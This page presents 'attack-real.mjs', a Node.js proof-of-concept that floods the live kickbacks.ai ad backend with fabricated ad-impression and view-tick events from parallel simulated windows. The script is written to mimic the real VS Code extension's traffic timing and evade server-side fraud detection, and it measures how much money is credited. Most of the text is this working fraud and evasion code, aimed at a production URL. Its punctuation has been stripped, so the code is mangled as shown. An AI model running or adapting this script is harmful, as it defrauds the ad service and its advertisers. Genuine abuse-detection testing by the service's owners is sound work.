kickbacks.ai realistic multi-window saturation test (impression-integrity PoC) A developer has published a proof-of-concept attack script that tests whether the kickbacks.ai backend can detect multi-window saturation fraud. The script, called "attack-real.mjs," spawns parallel windows that emit event sequences byte-for-byte indistinguishable from the real VS Code extension's traffic, including realistic timing patterns with jitter, variable ad durations, and enforced rest cycles. The test requires explicit opt-in and authenticates with a live account token to probe server-side detections like per-account aggregate checks, duty-cycle heuristics, and concurrency limits. | // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | | | // | | | // This tests whether new server-side detections per-account aggregate checks, | | | // duty-cycle heuristics, concurrency limits, etc. can stop a multi-window | | | // saturation attack that is byte-for-byte indistinguishable from the real | | | // VS Code extension's traffic. | | | // | | | // What it does: | | | // Authenticates as YOUR account via KICKBACKS TOKEN from signin.mjs or | | | // signin-email.mjs . | | | // Pulls the live ad portfolio to learn queue depth K + session tokens. | | | // Spawns K parallel "windows" — one per ad — each emitting the exact event | | | // sequence the real extension uses, with realistic choppy cadence. | | | // Tracks credited events vs. rejected/throttled/capped in real time. | | | // | | | // Realism faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts : | | | // Shows are SHORT and irregular — mostly <5s zero view ticks , some | | | // medium, rare long — not a metronome. | | | // view tick intervals have positive jitter = 5000ms , never early. | | | // visible ms on view tick is true accrued wall-clock time, not fabricated. | | | // impression viewable closes a show with an ODD duration, never a clean | | | // multiple of 5000. | | | // Gaps between shows mimic think → idle transitions. | | | // Surfaces alternate statusbar / statusline across windows. | | | // A 60s continuous show cap + 20s rest cycle is enforced per window. | | | // | | | // Requires explicit opt-in so it can never run by accident: | | | // export KICKBACKS TOKEN='...' | | | // node attack-real.mjs --yes-i-own-this-account | | | // | | | // Environment: | | | // KICKBACKS TOKEN bearer token required | | | // KICKBACKS BASE backend base URL default: live | | | // DURATION MS test duration in ms default 120 000 = 2 min | | | // KICKBACKS WINDOW COUNT window count default 4 | | | // KICKBACKS QUIET "1" to suppress per-event logging | | | import { randomUUID } from "node:crypto"; | | | // ── safety: explicit opt-in ───────────────────────────────────────────────── | | | if process.argv.includes "--yes-i-own-this-account" { | | | console.error "refusing to run without --yes-i-own-this-account" ; | | | process.exit 2 ; | | | } | | | const TOKEN = process.env.KICKBACKS TOKEN; | | | if TOKEN { console.error "set KICKBACKS TOKEN run signin.mjs or signin-email.mjs first " ; process.exit 2 ; } | | | const BASE = process.env.KICKBACKS BASE | | | || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | | | const CC VERSION = process.env.KICKBACKS CC VERSION || "2.1.173"; | | | const EXT VERSION = process.env.KICKBACKS EXT VERSION || "0.4.0"; | | | const DURATION MS = Number process.env.DURATION MS || 120 000 ; | | | const FORCED K = process.env.KICKBACKS WINDOW COUNT | | | ? Number process.env.KICKBACKS WINDOW COUNT : 4; | | | const QUIET = process.env.KICKBACKS QUIET === "1"; | | | const CLIENT ID = install-${randomUUID .slice 0, 4 } ; | | | // ── faithful constants cliTick.ts / statusBarAd.ts ───────────────────────── | | | const POLL MS = 1 000; | | | const VIEW TICK MS = 5 000; | | | const FRESH ACTIVITY MS = 4 000; | | | const VISIBLE GAP CAP MS = 2 000; // suspend clamp per poll tick | | | const AD SHOW MAX MS = 60 000; // max continuous show | | | const AD REST MS = 20 000; // rest after hitting max | | | const sleep = ms = new Promise r = setTimeout r, ms ; | | | const tickGap = = VIEW TICK MS + Math.random 800; // always = 5000ms | | | // ── helpers ───────────────────────────────────────────────────────────────── | | | const authed = extra = {} = { authorization: Bearer ${TOKEN} , ...extra } ; | | | async function getPortfolio { | | | const r = await fetch ${BASE}/v1/portfolio?claude code version=${CC VERSION} , { | | | headers: authed , | | | } ; | | | if r.ok throw new Error portfolio HTTP ${r.status} ; | | | return r.json ; | | | } | | | async function getEarnings { | | | const r = await fetch ${BASE}/v1/earnings , { headers: authed } ; | | | if r.ok return null; | | | return r.json ; | | | } | | | async function fireEvent ad, type, { visibleMs, surface = "statusbar" } = {} { | | | const body = { | | | event type: type, | | | ad id: ad.ad id, | | | campaign id: ad.campaign id, | | | client id: CLIENT ID, | | | ts: new Date .toISOString , | | | claude code version: CC VERSION, | | | extension version: EXT VERSION, | | | nonce: randomUUID , | | | surface, | | | ... visibleMs = null | | | ? { | | | visible ms: Math.round visibleMs , | | | view pct: 100, | | | viewable: true, | | | } | | | : {} , | | | session token: ad.session token, | | | }; | | | const t0 = performance.now ; | | | const r = await fetch ${BASE}/v1/metrics , { | | | method: "POST", | | | headers: authed { "content-type": "application/json" } , | | | body: JSON.stringify body , | | | } ; | | | const latency = performance.now - t0; | | | let j; | | | try { j = await r.json ; } catch { j = {}; } | | | const didCredit = j.credited; | | | const reason = j.reason || r.ok ? "ok" : HTTP ${r.status} ; | | | if QUIET { | | | const tag = didCredit ? "CREDITED" : reason; | | | console.log | | | ${surface} ${type.padEnd 20 } ad=${ad.ad id.padEnd 10 } + | | | ms=${String body.visible ms ?? "—" .padStart 6 } + | | | lat=${latency.toFixed 0 }ms ${tag} | | | ; | | | } | | | return { didCredit, reason, latency, status: r.status }; | | | } | | | // ── realistic show-length distribution ─────────────────────────────────────── | | | function sampleShowLen { | | | const r = Math.random ; | | | if r < 0.55 return 400 + Math.random 4 000; // <5s = 0 view ticks | | | if r < 0.88 return 5 000 + Math.random 18 000; // medium | | | return 20 000 + Math.random 35 000; // long will hit cap | | | } | | | // ── one "window" pinned to one ad ──────────────────────────────────────────── | | | async function runWindow ad, surface, deadline, counters { | | | let showCount = 0; | | | while Date.now < deadline { | | | const showLen = sampleShowLen ; | | | const showStart = Date.now ; | | | const showDeadline = showStart + showLen; | | | // continuous-show cap: if this show exceeds 60s, cut at 60s then rest 20s | | | const effectiveShowMax = Math.min showDeadline, showStart + AD SHOW MAX MS ; | | | await fireEvent ad, "impression rendered", { surface } ; | | | counters.rendered++; | | | let lastTick = showStart; | | | let nextGap = tickGap ; | | | let accruedMs = 0; | | | while Date.now < effectiveShowMax && Date.now < deadline { | | | await sleep 180 ; // ~ the 1s poll, finer grain | | | const now = Date.now ; | | | const delta = now - lastTick; | | | // simulate the VISIBLE GAP CAP MS clamp the real client applies | | | const cappedDelta = Math.min delta, VISIBLE GAP CAP MS ; | | | accruedMs += cappedDelta; | | | lastTick = now; | | | if now - showStart = nextGap { | | | const res = await fireEvent ad, "view tick", { surface, visibleMs: accruedMs } ; | | | counters.viewTick++; | | | if res.didCredit counters.credited++; | | | if res.didCredit counters.rejected++; | | | if res.reason && res.reason == "credited" && res.reason == "ok" { | | | counters.reasons res.reason = counters.reasons res.reason || 0 + 1; | | | } | | | nextGap += tickGap ; | | | } | | | } | | | const actualShowMs = Date.now - showStart; | | | const res = await fireEvent ad, "impression viewable", { | | | surface, | | | visibleMs: actualShowMs, | | | } ; | | | counters.viewable++; | | | if res.didCredit counters.credited++; | | | if res.didCredit counters.rejected++; | | | if res.reason && res.reason == "credited" && res.reason == "ok" { | | | counters.reasons res.reason = counters.reasons res.reason || 0 + 1; | | | } | | | showCount++; | | | // if we hit the 60s cap, enforce the 20s rest | | | const hitCap = actualShowMs = AD SHOW MAX MS - 500; | | | if hitCap { | | | const restUntil = Date.now + AD REST MS; | | | while Date.now < restUntil && Date.now < deadline await sleep 200 ; | | | } else { | | | // normal think - idle gap | | | const idleMs = 800 + Math.random 3 200; | | | const idleUntil = Date.now + idleMs; | | | while Date.now < idleUntil && Date.now < deadline await sleep 200 ; | | | } | | | } | | | counters.shows += showCount; | | | } | | | // ── main ───────────────────────────────────────────────────────────────────── | | | async function main { | | | console.log \n attack-real base = ${BASE} ; | | | console.log attack-real duration = ${DURATION MS}ms client id = ${CLIENT ID} ; | | | const before = await getEarnings ; | | | if before { console.error " attack-real could not read earnings — is the token valid?" ; process.exit 1 ; } | | | console.log attack-real before lifetime=$${before.lifetime usd} today=$${before.today usd}\n ; | | | const portfolio = await getPortfolio ; | | | const ads = portfolio.ads || ; | | | if ads.length { console.error " attack-real empty portfolio" ; process.exit 1 ; } | | | const K = FORCED K ?? ads.length; | | | const windows = ads.slice 0, K ; | | | console.log attack-real queue depth K = ${ads.length} windows = ${K} ; | | | console.log attack-real ads = ${windows.map a = a.ad id .join ", " } \n ; | | | const counters = { | | | rendered: 0, viewTick: 0, viewable: 0, | | | credited: 0, rejected: 0, shows: 0, reasons: {}, | | | }; | | | const deadline = Date.now + DURATION MS; | | | const startWall = Date.now ; | | | console.log " attack-real firing windows … Ctrl-C to abort \n" ; | | | // run all windows concurrently on the SAME account | | | await Promise.all | | | windows.map ad, i = | | | runWindow ad, i % 2 ? "statusline" : "statusbar", deadline, counters | | | | | | ; | | | const wallElapsed = Date.now - startWall; | | | // settle + final earnings | | | console.log "\n attack-real polling earnings to let async credits settle …" ; | | | let after = before; | | | for let i = 0; i < 6; i++ { | | | await sleep 2 000 ; | | | const e = await getEarnings ; | | | if e after = e; | | | } | | | const lifetimeDelta = | | | parseFloat after.lifetime usd || "0" - parseFloat before.lifetime usd || "0" ; | | | const todayDelta = | | | parseFloat after.today usd || "0" - parseFloat before.today usd || "0" ; | | | const eventTotal = counters.rendered + counters.viewTick + counters.viewable; | | | const creditRate = counters.credited / Math.max 1, wallElapsed / 1000 ; | | | const estimatedPerHour = lifetimeDelta / Math.max 1, wallElapsed / 3 600 000 ; | | | console.log "\n" + "═".repeat 72 ; | | | console.log " RESULTS" ; | | | console.log "═".repeat 72 ; | | | console.log wall-clock elapsed : ${ wallElapsed / 1000 .toFixed 1 }s ; | | | console.log events sent : ${eventTotal} ; | | | console.log impression rendered : ${counters.rendered} ; | | | console.log view tick : ${counters.viewTick} ; | | | console.log impression viewable : ${counters.viewable} ; | | | console.log shows completed : ${counters.shows} ; | | | console.log credited events : ${counters.credited} ; | | | console.log rejected/ignored : ${counters.rejected} ; | | | console.log credit rate : ${creditRate.toFixed 2 } events/sec ; | | | console.log ────────────────────────────────────────────────────────────────────── ; | | | console.log lifetime before : $${before.lifetime usd} ; | | | console.log lifetime after : $${after.lifetime usd} ; | | | console.log lifetime Δ : $${lifetimeDelta.toFixed 6 } ; | | | console.log today Δ : $${todayDelta.toFixed 6 } ; | | | console.log extrapolated /hour : ~$${estimatedPerHour.toFixed 4 } ; | | | console.log " ──────────────────────────────────────────────────────────────────────" ; | | | if Object.keys counters.reasons .length { | | | console.log " rejection reasons:" ; | | | for const reason, count of Object.entries counters.reasons .sort a, b = b 1 - a 1 { | | | console.log ${reason.padEnd 18 } : ${count} ; | | | } | | | } | | | // verdict | | | const pass = counters.credited 0; | | | const throttled = counters.reasons.cooldown || 0 0; | | | const capped = counters.reasons.daily cap || 0 0; | | | console.log " ──────────────────────────────────────────────────────────────────────" ; | | | if capped { | | | console.log " VERDICT: DAILY CAP hit — the economic brake is engaged." ; | | | } else if throttled && counters.credited 0 { | | | console.log " VERDICT: COOLDOWN active but credits still flow expected behavior ." ; | | | } else if throttled && capped && counters.rejected 0 { | | | console.log " VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active." ; | | | } else if pass { | | | console.log " VERDICT: CREDITS FLOW — no new detection blocked the attack." ; | | | } else { | | | console.log " VERDICT: ZERO credits — either cooldown saturation or a new block." ; | | | } | | | console.log "═".repeat 72 + "\n" ; | | | process.exit pass ? 0 : 1 ; | | | } | | | main .catch e = { console.error e ; process.exit 1 ; } ; |